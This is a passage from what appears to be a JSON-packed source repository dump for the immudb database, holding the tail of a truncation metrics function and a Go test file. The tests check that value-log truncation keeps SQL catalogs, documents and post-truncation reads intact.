{\n\treg := prometheus.NewRegistry()\n\n\tm := &truncatorMetrics{}\n\tm.ran = promauto.With(reg).NewCounterVec(\n\t\tprometheus.CounterOpts{\n\t\t\tName: \"immudb_truncation_total\",\n\t\t\tHelp: \"Total number of truncation that were executed for the database.\",\n\t\t},\n\t\t[]string{\"db\"},\n\t).WithLabelValues(db)\n\n\tm.duration = promauto.With(reg).NewHistogramVec(\n\t\tprometheus.HistogramOpts{\n\t\t\tName:    \"immudb_truncation_duration_seconds\",\n\t\t\tHelp:    \"Duration of truncation runs\",\n\t\t\tBuckets: prometheus.ExponentialBuckets(1, 10.0, 16),\n\t\t},\n\t\t[]string{\"db\"},\n\t).WithLabelValues(db)\n\n\treturn m\n}\n"
  },
  {
    "path": "pkg/database/truncator_test.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage database\n\nimport (\n\t\"context\"\n\t\"crypto/sha256\"\n\t\"fmt\"\n\t\"sort\"\n\t\"sync\"\n\t\"testing\"\n\t\"time\"\n\n\t\"github.com/codenotary/immudb/embedded/logger\"\n\t\"github.com/codenotary/immudb/embedded/store\"\n\t\"github.com/codenotary/immudb/pkg/api/protomodel\"\n\t\"github.com/codenotary/immudb/pkg/api/schema\"\n\t\"github.com/stretchr/testify/assert\"\n\t\"github.com/stretchr/testify/require\"\n\t\"google.golang.org/protobuf/types/known/structpb\"\n)\n\nfunc encodeOffset(offset int64, vLogID byte) int64 {\n\treturn int64(vLogID)<<56 | offset\n}\n\nfunc decodeOffset(offset int64) (byte, int64) {\n\treturn byte(offset >> 56), offset & ^(0xff << 55)\n}\n\nfunc Test_vlogCompactor_Compact(t *testing.T) {\n\tentries := []*store.TxEntry{}\n\tentries = append(entries,\n\t\tstore.NewTxEntry(nil, nil, 0, [sha256.Size]byte{0}, encodeOffset(3, 12)),\n\t\tstore.NewTxEntry(nil, nil, 0, [sha256.Size]byte{0}, encodeOffset(3, 2)),\n\t\tstore.NewTxEntry(nil, nil, 0, [sha256.Size]byte{0}, encodeOffset(2, 1)),\n\t\tstore.NewTxEntry(nil, nil, 0, [sha256.Size]byte{0}, encodeOffset(3, 1)),\n\t\tstore.NewTxEntry(nil, nil, 0, [sha256.Size]byte{0}, encodeOffset(4, 2)),\n\t\tstore.NewTxEntry(nil, nil, 0, [sha256.Size]byte{0}, encodeOffset(1, 3)),\n\t\tstore.NewTxEntry(nil, nil, 0, [sha256.Size]byte{0}, encodeOffset(1, 2)),\n\t)\n\tsort.Slice(entries, func(i, j int) bool {\n\t\tv1, o1 := decodeOffset(entries[i].VOff())\n\t\tv2, o2 := decodeOffset(entries[j].VOff())\n\t\tif v1 == v2 {\n\t\t\treturn o1 < o2\n\t\t}\n\t\treturn v1 < v2\n\t})\n\n\tv, off := decodeOffset(entries[0].VOff())\n\tassert.Equal(t, v, byte(1))\n\tassert.Equal(t, int(off), 2)\n\n\tv, off = decodeOffset(entries[len(entries)-1].VOff())\n\tassert.Equal(t, v, byte(12))\n\tassert.Equal(t, int(off), 3)\n}\n\n// Test multiple log with single writer\nfunc Test_vlogCompactor_WithMultipleIO(t *testing.T) {\n\trootPath := t.TempDir()\n\n\tfileSize := 1024\n\n\toptions := DefaultOptions().WithDBRootPath(rootPath)\n\toptions.storeOpts.WithIndexOptions(options.storeOpts.IndexOpts.WithCompactionThld(2)).WithFileSize(fileSize)\n\toptions.storeOpts.MaxIOConcurrency = 5\n\toptions.storeOpts.MaxConcurrency = 500\n\toptions.storeOpts.VLogCacheSize = 0\n\toptions.storeOpts.EmbeddedValues = false\n\n\tdb := makeDbWith(t, \"db\", options)\n\n\tfor i := 0; i < 20; i++ {\n\t\tkv := &schema.KeyValue{\n\t\t\tKey:   []byte(fmt.Sprintf(\"key_%d\", i)),\n\t\t\tValue: make([]byte, fileSize),\n\t\t}\n\t\t_, err := db.Set(context.Background(), &schema.SetRequest{KVs: []*schema.KeyValue{kv}})\n\t\trequire.NoError(t, err)\n\t}\n\n\tdeletePointTx := uint64(15)\n\n\thdr, err := db.st.ReadTxHeader(deletePointTx, false, false)\n\trequire.NoError(t, err)\n\n\tc := NewVlogTruncator(db, logger.NewMemoryLogger())\n\n\trequire.NoError(t, c.TruncateUptoTx(context.Background(), hdr.ID))\n\n\tfor i := deletePointTx; i < 20; i++ {\n\t\ttx := store.NewTx(db.st.MaxTxEntries(), db.st.MaxKeyLen())\n\n\t\terr = db.st.ReadTx(i, false, tx)\n\t\trequire.NoError(t, err)\n\n\t\tfor _, e := range tx.Entries() {\n\t\t\t_, err := db.st.ReadValue(e)\n\t\t\trequire.NoError(t, err)\n\t\t}\n\t}\n}\n\n// Test single log with single writer\nfunc Test_vlogCompactor_WithSingleIO(t *testing.T) {\n\trootPath := t.TempDir()\n\n\tfileSize := 1024\n\n\toptions := DefaultOptions().WithDBRootPath(rootPath)\n\toptions.storeOpts.WithIndexOptions(options.storeOpts.IndexOpts.WithCompactionThld(2)).WithFileSize(fileSize)\n\toptions.storeOpts.MaxIOConcurrency = 1\n\toptions.storeOpts.MaxConcurrency = 500\n\toptions.storeOpts.VLogCacheSize = 0\n\toptions.storeOpts.EmbeddedValues = false\n\n\tdb := makeDbWith(t, \"db\", options)\n\n\tfor i := 0; i < 20; i++ {\n\t\tkv := &schema.KeyValue{\n\t\t\tKey:   []byte(fmt.Sprintf(\"key_%d\", i)),\n\t\t\tValue: make([]byte, fileSize),\n\t\t}\n\t\t_, err := db.Set(context.Background(), &schema.SetRequest{KVs: []*schema.KeyValue{kv}})\n\t\trequire.NoError(t, err)\n\t}\n\n\tdeletePointTx := uint64(15)\n\n\thdr, err := db.st.ReadTxHeader(deletePointTx, false, false)\n\trequire.NoError(t, err)\n\n\tc := NewVlogTruncator(db, logger.NewMemoryLogger())\n\n\trequire.NoError(t, c.TruncateUptoTx(context.Background(), hdr.ID))\n\n\tfor i := deletePointTx; i < 20; i++ {\n\t\ttx := store.NewTx(db.st.MaxTxEntries(), db.st.MaxKeyLen())\n\n\t\terr = db.st.ReadTx(i, false, tx)\n\t\trequire.NoError(t, err)\n\n\t\tfor _, e := range tx.Entries() {\n\t\t\t_, err := db.st.ReadValue(e)\n\t\t\trequire.NoError(t, err)\n\t\t}\n\t}\n\n\t// ensure earlier transactions are deleted\n\tfor i := uint64(5); i > 0; i-- {\n\t\ttx := store.NewTx(db.st.MaxTxEntries(), db.st.MaxKeyLen())\n\n\t\terr = db.st.ReadTx(i, false, tx)\n\t\trequire.NoError(t, err)\n\n\t\tfor _, e := range tx.Entries() {\n\t\t\t_, err := db.st.ReadValue(e)\n\t\t\trequire.Error(t, err)\n\t\t}\n\t}\n}\n\n// Test single log with concurrent writers\nfunc Test_vlogCompactor_WithConcurrentWritersOnSingleIO(t *testing.T) {\n\trootPath := t.TempDir()\n\n\tfileSize := 1024\n\n\toptions := DefaultOptions().WithDBRootPath(rootPath)\n\toptions.storeOpts.WithIndexOptions(options.storeOpts.IndexOpts.WithCompactionThld(2)).WithFileSize(fileSize)\n\toptions.storeOpts.MaxIOConcurrency = 1\n\toptions.storeOpts.MaxConcurrency = 500\n\toptions.storeOpts.VLogCacheSize = 0\n\toptions.storeOpts.EmbeddedValues = false\n\n\tdb := makeDbWith(t, \"db\", options)\n\n\twg := sync.WaitGroup{}\n\n\tfor i := 1; i <= 3; i++ {\n\t\twg.Add(1)\n\n\t\tgo func(j int) {\n\t\t\tdefer wg.Done()\n\n\t\t\tfor k := 1*(j-1)*10 + 1; k < (j*10)+1; k++ {\n\t\t\t\tkv := &schema.KeyValue{\n\t\t\t\t\tKey:   []byte(fmt.Sprintf(\"key_%d\", k)),\n\t\t\t\t\tValue: make([]byte, fileSize),\n\t\t\t\t}\n\t\t\t\t_, err := db.Set(context.Background(), &schema.SetRequest{KVs: []*schema.KeyValue{kv}})\n\t\t\t\trequire.NoError(t, err)\n\t\t\t}\n\t\t}(i)\n\t}\n\n\twg.Wait()\n\n\tdeletePointTx := uint64(15)\n\n\thdr, err := db.st.ReadTxHeader(deletePointTx, false, false)\n\trequire.NoError(t, err)\n\n\tc := NewVlogTruncator(db, logger.NewMemoryLogger())\n\n\trequire.NoError(t, c.TruncateUptoTx(context.Background(), hdr.ID))\n\n\tfor i := deletePointTx; i <= 30; i++ {\n\t\ttx := store.NewTx(db.st.MaxTxEntries(), db.st.MaxKeyLen())\n\n\t\terr = db.st.ReadTx(i, false, tx)\n\t\trequire.NoError(t, err)\n\n\t\tfor _, e := range tx.Entries() {\n\t\t\t_, err := db.st.ReadValue(e)\n\t\t\trequire.NoError(t, err)\n\t\t}\n\t}\n\n\t// ensure earlier transactions are deleted\n\tfor i := uint64(5); i > 0; i-- {\n\t\ttx := store.NewTx(db.st.MaxTxEntries(), db.st.MaxKeyLen())\n\n\t\terr = db.st.ReadTx(i, false, tx)\n\t\trequire.NoError(t, err)\n\n\t\tfor _, e := range tx.Entries() {\n\t\t\t_, err := db.st.ReadValue(e)\n\t\t\trequire.Error(t, err)\n\t\t}\n\t}\n}\n\nfunc Test_newTruncatorMetrics(t *testing.T) {\n\ttype args struct {\n\t\tdb string\n\t}\n\ttests := []struct {\n\t\tname string\n\t\targs args\n\t}{\n\t\t{\n\t\t\tname: \"with default registerer\",\n\t\t\targs: args{\n\t\t\t\tdb: \"foo\",\n\t\t\t},\n\t\t},\n\t}\n\tfor _, tt := range tests {\n\t\tt.Run(tt.name, func(t *testing.T) {\n\t\t\tti := time.Now()\n\t\t\tr := newTruncatorMetrics(tt.args.db)\n\t\t\tr.ran.Inc()\n\t\t\tr.duration.Observe(time.Since(ti).Seconds())\n\t\t})\n\t}\n}\n\nfunc Test_vlogCompactor_Plan(t *testing.T) {\n\trootPath := t.TempDir()\n\n\tfileSize := 1024\n\n\toptions := DefaultOptions().WithDBRootPath(rootPath)\n\toptions.storeOpts.WithIndexOptions(options.storeOpts.IndexOpts.WithCompactionThld(2)).WithFileSize(fileSize)\n\toptions.storeOpts.MaxIOConcurrency = 1\n\toptions.storeOpts.VLogCacheSize = 0\n\n\tdb := makeDbWith(t, \"db\", options)\n\n\tvar queryTime time.Time\n\tfor i := 2; i <= 20; i++ {\n\t\tkv := &schema.KeyValue{\n\t\t\tKey:   []byte(fmt.Sprintf(\"key_%d\", i)),\n\t\t\tValue: make([]byte, fileSize),\n\t\t}\n\t\t_, err := db.Set(context.Background(), &schema.SetRequest{KVs: []*schema.KeyValue{kv}})\n\t\trequire.NoError(t, err)\n\t\tif i == 10 {\n\t\t\tqueryTime = time.Now()\n\t\t}\n\t}\n\n\tc := NewVlogTruncator(db, logger.NewMemoryLogger())\n\n\thdr, err := c.Plan(context.Background(), queryTime)\n\trequire.NoError(t, err)\n\trequire.LessOrEqual(t, time.Unix(hdr.Ts, 0), queryTime)\n}\n\nfunc setupCommonTest(t *testing.T) *db {\n\trootPath := t.TempDir()\n\n\toptions := DefaultOptions().WithDBRootPath(rootPath)\n\toptions.storeOpts.WithIndexOptions(options.storeOpts.IndexOpts.WithCompactionThld(2)).WithFileSize(1024)\n\toptions.storeOpts.VLogCacheSize = 0\n\toptions.storeOpts.EmbeddedValues = false\n\n\tdb := makeDbWith(t, \"db1\", options)\n\treturn db\n}\n\nfunc Test_vlogCompactor_with_sql(t *testing.T) {\n\tdb := setupCommonTest(t)\n\n\texec := func(t *testing.T, stmt string) {\n\t\t_, ctx, err := db.SQLExec(context.Background(), nil, &schema.SQLExecRequest{Sql: stmt})\n\t\trequire.NoError(t, err)\n\t\trequire.Len(t, ctx, 1)\n\t}\n\n\tquery := func(t *testing.T, stmt string, expectedRows int) {\n\t\trows, err := db.SQLQueryAll(context.Background(), nil, &schema.SQLQueryRequest{Sql: stmt})\n\t\trequire.NoError(t, err)\n\t\trequire.NoError(t, err)\n\t\trequire.Len(t, rows, expectedRows)\n\t}\n\n\t// create a new table\n\texec(t, \"CREATE TABLE table1 (id INTEGER AUTO_INCREMENT, name VARCHAR[50], amount INTEGER, PRIMARY KEY id)\")\n\texec(t, \"CREATE UNIQUE INDEX ON table1 (name)\")\n\texec(t, \"CREATE UNIQUE INDEX ON table1 (name, amount)\")\n\n\t// insert some data\n\tvar deleteUptoTx *schema.TxHeader\n\tfor i := 1; i <= 5; i++ {\n\t\tvar err error\n\t\tkv := &schema.KeyValue{\n\t\t\tKey:   []byte(fmt.Sprintf(\"key_%d\", i)),\n\t\t\tValue: make([]byte, 1024),\n\t\t}\n\t\tdeleteUptoTx, err = db.Set(context.Background(), &schema.SetRequest{KVs: []*schema.KeyValue{kv}})\n\t\trequire.NoError(t, err)\n\t}\n\n\t// alter table to add a new column\n\tt.Run(\"alter table and add data\", func(t *testing.T) {\n\t\texec(t, \"ALTER TABLE table1 ADD COLUMN surname VARCHAR\")\n\t\texec(t, \"INSERT INTO table1(name, surname, amount) VALUES('Foo', 'Bar', 0)\")\n\t\texec(t, \"INSERT INTO table1(name, surname, amount) VALUES('Fin', 'Baz', 0)\")\n\t})\n\n\t// delete txns in the store upto a certain txn\n\tt.Run(\"succeed truncating sql catalog\", func(t *testing.T) {\n\t\tlastCommitTx := db.st.LastCommittedTxID()\n\t\thdr, err := db.st.ReadTxHeader(deleteUptoTx.Id, false, false)\n\t\trequire.NoError(t, err)\n\n\t\tc := NewVlogTruncator(db, logger.NewMemoryLogger())\n\n\t\trequire.NoError(t, c.TruncateUptoTx(context.Background(), hdr.ID))\n\n\t\t// should add an extra transaction with catalogue\n\t\trequire.Equal(t, lastCommitTx+1, db.st.LastCommittedTxID())\n\t})\n\n\tt.Run(\"verify transaction committed post truncation has truncation header\", func(t *testing.T) {\n\t\tlastCommitTx := db.st.LastCommittedTxID()\n\n\t\thdr, err := db.st.ReadTxHeader(lastCommitTx, false, false)\n\t\trequire.NoError(t, err)\n\t\trequire.NotNil(t, hdr.Metadata)\n\t\trequire.True(t, hdr.Metadata.HasTruncatedTxID())\n\n\t\ttruncatedTxId, err := hdr.Metadata.GetTruncatedTxID()\n\t\trequire.NoError(t, err)\n\t\trequire.Equal(t, deleteUptoTx.Id, truncatedTxId)\n\t})\n\n\tcommittedTxPostTruncation := make([]*schema.TxHeader, 0, 5)\n\t// add more data in table post truncation\n\tt.Run(\"succeed in adding data post truncation\", func(t *testing.T) {\n\t\t// add sql data\n\t\texec(t, \"INSERT INTO table1(name, surname, amount) VALUES('John', 'Doe', 0)\")\n\t\texec(t, \"INSERT INTO table1(name, surname, amount) VALUES('Smith', 'John', 0)\")\n\n\t\t// add KV data\n\t\tfor i := 6; i <= 10; i++ {\n\t\t\tkv := &schema.KeyValue{\n\t\t\t\tKey:   []byte(fmt.Sprintf(\"key_%d\", i)),\n\t\t\t\tValue: make([]byte, 1024),\n\t\t\t}\n\t\t\thdr, err := db.Set(context.Background(), &schema.SetRequest{KVs: []*schema.KeyValue{kv}})\n\t\t\trequire.NoError(t, err)\n\n\t\t\tcommittedTxPostTruncation = append(committedTxPostTruncation, hdr)\n\t\t}\n\t})\n\n\t// check if can query the table with new catalogue\n\tt.Run(\"succeed loading catalog from latest schema\", func(t *testing.T) {\n\t\tquery(t, \"SELECT * FROM table1\", 4)\n\t})\n\n\tt.Run(\"succeed reading KV data post truncation\", func(t *testing.T) {\n\t\tfor _, v := range committedTxPostTruncation {\n\t\t\ttx := store.NewTx(db.st.MaxTxEntries(), db.st.MaxKeyLen())\n\n\t\t\terr := db.st.ReadTx(v.Id, false, tx)\n\t\t\trequire.NoError(t, err)\n\n\t\t\tfor _, e := range tx.Entries() {\n\t\t\t\tval, err := db.st.ReadValue(e)\n\t\t\t\trequire.NoError(t, err)\n\t\t\t\trequire.NotNil(t, val)\n\t\t\t}\n\t\t}\n\t})\n}\n\nfunc Test_vlogCompactor_without_data(t *testing.T) {\n\trootPath := t.TempDir()\n\n\tfileSize := 1024\n\n\toptions := DefaultOptions().WithDBRootPath(rootPath)\n\toptions.storeOpts.WithIndexOptions(options.storeOpts.IndexOpts.WithCompactionThld(2)).WithFileSize(fileSize)\n\toptions.storeOpts.MaxIOConcurrency = 1\n\toptions.storeOpts.VLogCacheSize = 0\n\n\tdb := makeDbWith(t, \"db\", options)\n\n\tdb.Set(context.Background(), &schema.SetRequest{KVs: []*schema.KeyValue{{Key: []byte(\"key1\")}}})\n\trequire.Equal(t, uint64(1), db.st.LastCommittedTxID())\n\n\tdeletePointTx := uint64(1)\n\n\thdr, err := db.st.ReadTxHeader(deletePointTx, false, false)\n\trequire.NoError(t, err)\n\n\tc := NewVlogTruncator(db, logger.NewMemoryLogger())\n\n\trequire.NoError(t, c.TruncateUptoTx(context.Background(), hdr.ID))\n\n\texpectedCommitTx := uint64(2)\n\t// ensure that a transaction is added for the sql catalog commit\n\trequire.Equal(t, expectedCommitTx, db.st.LastCommittedTxID())\n\n\t// verify that the transaction added for the sql catalog commit has the truncation header\n\thdr, err = db.st.ReadTxHeader(expectedCommitTx, false, false)\n\trequire.NoError(t, err)\n\trequire.NotNil(t, hdr.Metadata)\n\trequire.True(t, hdr.Metadata.HasTruncatedTxID())\n\n\t// verify using the ReadTx API that the transaction added for the sql catalog commit has the truncation header\n\tptx := store.NewTx(db.st.MaxTxEntries(), db.st.MaxKeyLen())\n\terr = db.st.ReadTx(expectedCommitTx, false, ptx)\n\trequire.NoError(t, err)\n\trequire.True(t, ptx.Header().Metadata.HasTruncatedTxID())\n}\n\nfunc Test_vlogCompactor_with_multiple_truncates(t *testing.T) {\n\tdb := setupCommonTest(t)\n\n\texec := func(t *testing.T, stmt string) {\n\t\t_, ctx, err := db.SQLExec(context.Background(), nil, &schema.SQLExecRequest{Sql: stmt})\n\t\trequire.NoError(t, err)\n\t\trequire.Len(t, ctx, 1)\n\t}\n\n\tquery := func(t *testing.T, stmt string, expectedRows int) {\n\t\trows, err := db.SQLQueryAll(context.Background(), nil, &schema.SQLQueryRequest{Sql: stmt})\n\t\trequire.NoError(t, err)\n\t\trequire.NoError(t, err)\n\t\trequire.Len(t, rows, expectedRows)\n\t}\n\n\tverify := func(t *testing.T, txID uint64) {\n\t\tlastCommitTx := db.st.LastCommittedTxID()\n\n\t\thdr, err := db.st.ReadTxHeader(lastCommitTx, false, false)\n\t\trequire.NoError(t, err)\n\t\trequire.NotNil(t, hdr.Metadata)\n\t\trequire.True(t, hdr.Metadata.HasTruncatedTxID())\n\n\t\ttruncatedTxId, err := hdr.Metadata.GetTruncatedTxID()\n\t\trequire.NoError(t, err)\n\t\trequire.Equal(t, txID, truncatedTxId)\n\t}\n\n\t// create a new table\n\texec(t, \"CREATE TABLE table1 (id INTEGER AUTO_INCREMENT, name VARCHAR[50], amount INTEGER, PRIMARY KEY id)\")\n\texec(t, \"CREATE UNIQUE INDEX ON table1 (name)\")\n\texec(t, \"CREATE UNIQUE INDEX ON table1 (name, amount)\")\n\texec(t, \"ALTER TABLE table1 ADD COLUMN surname VARCHAR\")\n\n\tt.Run(\"succeed truncating sql catalog\", func(t *testing.T) {\n\t\tlastCommitTx := db.st.LastCommittedTxID()\n\n\t\thdr, err := db.st.ReadTxHeader(lastCommitTx, false, false)\n\t\trequire.NoError(t, err)\n\n\t\tc := NewVlogTruncator(db, logger.NewMemoryLogger())\n\n\t\trequire.NoError(t, c.TruncateUptoTx(context.Background(), hdr.ID))\n\n\t\t// should add an extra transaction with catalogue\n\t\trequire.Equal(t, lastCommitTx+1, db.st.LastCommittedTxID())\n\t\tverify(t, hdr.ID)\n\t})\n\n\tt.Run(\"succeed loading catalog from latest schema\", func(t *testing.T) {\n\t\tquery(t, \"SELECT * FROM table1\", 0)\n\t})\n\n\t// insert some data\n\tvar deleteUptoTx *schema.TxHeader\n\tfor i := 1; i <= 5; i++ {\n\t\tvar err error\n\t\tkv := &schema.KeyValue{\n\t\t\tKey:   []byte(fmt.Sprintf(\"key_%d\", i)),\n\t\t\tValue: []byte(fmt.Sprintf(\"val_%d\", i)),\n\t\t}\n\t\tdeleteUptoTx, err = db.Set(context.Background(), &schema.SetRequest{KVs: []*schema.KeyValue{kv}})\n\t\trequire.NoError(t, err)\n\t}\n\n\t// delete txns in the store upto a certain txn\n\tt.Run(\"succeed truncating sql catalog again\", func(t *testing.T) {\n\t\tlastCommitTx := db.st.LastCommittedTxID()\n\n\t\thdr, err := db.st.ReadTxHeader(deleteUptoTx.Id, false, false)\n\t\trequire.NoError(t, err)\n\n\t\tc := NewVlogTruncator(db, logger.NewMemoryLogger())\n\n\t\trequire.NoError(t, c.TruncateUptoTx(context.Background(), hdr.ID))\n\n\t\t// should add an extra transaction with catalogue\n\t\trequire.Equal(t, lastCommitTx+1, db.st.LastCommittedTxID())\n\t\tverify(t, hdr.ID)\n\t})\n\n\tt.Run(\"insert sql transaction\", func(t *testing.T) {\n\t\texec(t, \"INSERT INTO table1(name, surname, amount) VALUES('Foo', 'Bar', 0)\")\n\t\texec(t, \"INSERT INTO table1(name, surname, amount) VALUES('Fin', 'Baz', 0)\")\n\t})\n\n\t// check if can query the table with new catalogue\n\tt.Run(\"succeed loading catalog from latest schema\", func(t *testing.T) {\n\t\tquery(t, \"SELECT * FROM table1\", 2)\n\t})\n}\n\nfunc Test_vlogCompactor_for_read_conflict(t *testing.T) {\n\trootPath := t.TempDir()\n\n\tfileSize := 1024\n\n\toptions := DefaultOptions().WithDBRootPath(rootPath)\n\toptions.storeOpts.WithFileSize(fileSize)\n\toptions.storeOpts.VLogCacheSize = 0\n\n\tdb := makeDbWith(t, \"db\", options)\n\trequire.Equal(t, uint64(0), db.st.LastCommittedTxID())\n\n\tfor i := 1; i <= 10; i++ {\n\t\tkv := &schema.KeyValue{\n\t\t\tKey:   []byte(fmt.Sprintf(\"key_%d\", i)),\n\t\t\tValue: make([]byte, fileSize),\n\t\t}\n\t\t_, err := db.Set(context.Background(), &schema.SetRequest{KVs: []*schema.KeyValue{kv}})\n\t\trequire.NoError(t, err)\n\t}\n\n\tonce := sync.Once{}\n\tdoneTruncateCh := make(chan bool)\n\tstartWritesCh := make(chan bool)\n\tdoneWritesCh := make(chan bool)\n\tgo func() {\n\t\tfor i := 11; i <= 40; i++ {\n\t\t\tkv := &schema.KeyValue{\n\t\t\t\tKey:   []byte(fmt.Sprintf(\"key_%d\", i)),\n\t\t\t\tValue: make([]byte, fileSize),\n\t\t\t}\n\t\t\t_, err := db.Set(context.Background(), &schema.SetRequest{KVs: []*schema.KeyValue{kv}})\n\t\t\tonce.Do(func() {\n\t\t\t\tclose(startWritesCh)\n\t\t\t})\n\t\t\trequire.NoError(t, err)\n\t\t}\n\t\tclose(doneWritesCh)\n\t}()\n\n\tgo func() {\n\t\t<-startWritesCh\n\n\t\tdeletePointTx := uint64(5)\n\n\t\thdr, err := db.st.ReadTxHeader(deletePointTx, false, false)\n\t\trequire.NoError(t, err)\n\n\t\tc := NewVlogTruncator(db, logger.NewMemoryLogger())\n\n\t\trequire.NoError(t, c.TruncateUptoTx(context.Background(), hdr.ID))\n\n\t\tclose(doneTruncateCh)\n\t}()\n\n\t<-doneWritesCh\n\t<-doneTruncateCh\n}\n\nfunc Test_vlogCompactor_with_document_store(t *testing.T) {\n\tdb := setupCommonTest(t)\n\n\texec := func(t *testing.T, stmt string) {\n\t\t_, ctx, err := db.SQLExec(context.Background(), nil, &schema.SQLExecRequest{Sql: stmt})\n\t\trequire.NoError(t, err)\n\t\trequire.Len(t, ctx, 1)\n\t}\n\n\tquery := func(t *testing.T, stmt string, expectedRows int) {\n\t\trows, err := db.SQLQueryAll(context.Background(), nil, &schema.SQLQueryRequest{Sql: stmt})\n\t\trequire.NoError(t, err)\n\t\trequire.NoError(t, err)\n\t\trequire.Len(t, rows, expectedRows)\n\t}\n\n\tverify := func(t *testing.T, txID uint64) {\n\t\tlastCommitTx := db.st.LastCommittedTxID()\n\n\t\thdr, err := db.st.ReadTxHeader(lastCommitTx, false, false)\n\t\trequire.NoError(t, err)\n\t\trequire.NotNil(t, hdr.Metadata)\n\t\trequire.True(t, hdr.Metadata.HasTruncatedTxID())\n\n\t\ttruncatedTxId, err := hdr.Metadata.GetTruncatedTxID()\n\t\trequire.NoError(t, err)\n\t\trequire.Equal(t, txID, truncatedTxId)\n\t}\n\n\t// create a new table\n\texec(t, \"CREATE TABLE table1 (id INTEGER AUTO_INCREMENT, name VARCHAR[50], amount INTEGER, PRIMARY KEY id)\")\n\texec(t, \"CREATE UNIQUE INDEX ON table1 (name)\")\n\n\t// create new document store\n\t// create collection\n\tcollectionName := \"mycollection\"\n\t_, err := db.CreateCollection(context.Background(), \"admin\", &protomodel.CreateCollectionRequest{\n\t\tName: collectionName,\n\t\tFields: []*protomodel.Field{\n\t\t\t{Name: \"pincode\", Type: protomodel.FieldType_DOUBLE},\n\t\t},\n\t\tIndexes: []*protomodel.Index{\n\t\t\t{Fields: []string{\"pincode\"}},\n\t\t},\n\t})\n\trequire.NoError(t, err)\n\n\tt.Run(\"succeed truncating sql catalog\", func(t *testing.T) {\n\t\tlastCommitTx := db.st.LastCommittedTxID()\n\n\t\thdr, err := db.st.ReadTxHeader(lastCommitTx, false, false)\n\t\trequire.NoError(t, err)\n\n\t\terr = NewVlogTruncator(db, logger.NewMemoryLogger()).TruncateUptoTx(context.Background(), hdr.ID)\n\t\trequire.NoError(t, err)\n\n\t\t// should add two extra transaction with catalogue\n\t\trequire.Equal(t, lastCommitTx+1, db.st.LastCommittedTxID())\n\t\tverify(t, hdr.ID)\n\t})\n\n\tt.Run(\"succeed loading catalog from latest schema\", func(t *testing.T) {\n\t\tquery(t, \"SELECT * FROM table1\", 0)\n\n\t\t// get collection\n\t\tcinfo, err := db.GetCollection(context.Background(), &protomodel.GetCollectionRequest{\n\t\t\tName: collectionName,\n\t\t})\n\t\trequire.NoError(t, err)\n\t\tresp := cinfo.Collection\n\t\trequire.Equal(t, 2, len(resp.Indexes))\n\t\trequire.Contains(t, resp.Indexes[0].Fields, \"_id\")\n\t\trequire.Contains(t, resp.Indexes[1].Fields, \"pincode\")\n\t})\n\n\t// insert some data\n\tfor i := 1; i <= 5; i++ {\n\t\tvar err error\n\t\tkv := &schema.KeyValue{\n\t\t\tKey:   []byte(fmt.Sprintf(\"key_%d\", i)),\n\t\t\tValue: []byte(fmt.Sprintf(\"val_%d\", i)),\n\t\t}\n\t\t_, err = db.Set(context.Background(), &schema.SetRequest{KVs: []*schema.KeyValue{kv}})\n\t\trequire.NoError(t, err)\n\n\t\tres, err := db.InsertDocuments(context.Background(), \"admin\", &protomodel.InsertDocumentsRequest{\n\t\t\tCollectionName: collectionName,\n\t\t\tDocuments: []*structpb.Struct{\n\t\t\t\t{\n\t\t\t\t\tFields: map[string]*structpb.Value{\n\t\t\t\t\t\t\"pincode\": {\n\t\t\t\t\t\t\tKind: &structpb.Value_NumberValue{NumberValue: float64(i)},\n\t\t\t\t\t\t},\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t},\n\t\t})\n\t\trequire.NoError(t, err)\n\t\trequire.NotNil(t, res)\n\t}\n\n\t// delete txns in the store upto a certain txn\n\tt.Run(\"succeed truncating sql catalog again\", func(t *testing.T) {\n\t\tlastCommitTx := db.st.LastCommittedTxID()\n\n\t\thdr, err := db.st.ReadTxHeader(lastCommitTx, false, false)\n\t\trequire.NoError(t, err)\n\n\t\terr = NewVlogTruncator(db, logger.NewMemoryLogger()).TruncateUptoTx(context.Background(), hdr.ID)\n\t\trequire.NoError(t, err)\n\n\t\t// should add an extra transaction with catalogue\n\t\trequire.Equal(t, lastCommitTx+1, db.st.LastCommittedTxID())\n\t\tverify(t, hdr.ID)\n\t})\n\n\tt.Run(\"adding new rows/documents should work\", func(t *testing.T) {\n\t\texec(t, \"INSERT INTO table1(name, amount) VALUES('Foo', 0)\")\n\t\texec(t, \"INSERT INTO table1(name, amount) VALUES('Fin', 0)\")\n\n\t\tres, err := db.InsertDocuments(context.Background(), \"admin\", &protomodel.InsertDocumentsRequest{\n\t\t\tCollectionName: collectionName,\n\t\t\tDocuments: []*structpb.Struct{\n\t\t\t\t{\n\t\t\t\t\tFields: map[string]*structpb.Value{\n\t\t\t\t\t\t\"pincode\": {\n\t\t\t\t\t\t\tKind: &structpb.Value_NumberValue{NumberValue: 999},\n\t\t\t\t\t\t},\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t},\n\t\t})\n\t\trequire.NoError(t, err)\n\t\trequire.NotNil(t, res)\n\t})\n\n\t// check if can query the table with new catalogue\n\tt.Run(\"succeed loading catalog from latest schema should work\", func(t *testing.T) {\n\t\tquery(t, \"SELECT * FROM table1\", 2)\n\n\t\tcinfo, err := db.GetCollection(context.Background(), &protomodel.GetCollectionRequest{\n\t\t\tName: collectionName,\n\t\t})\n\t\trequire.NoError(t, err)\n\n\t\tresp := cinfo.Collection\n\t\trequire.Equal(t, 2, len(resp.Indexes))\n\t\trequire.Contains(t, resp.Indexes[0].Fields, \"_id\")\n\t\trequire.Contains(t, resp.Indexes[1].Fields, \"pincode\")\n\t})\n}\n"
  },
  {
    "path": "pkg/database/types.go",
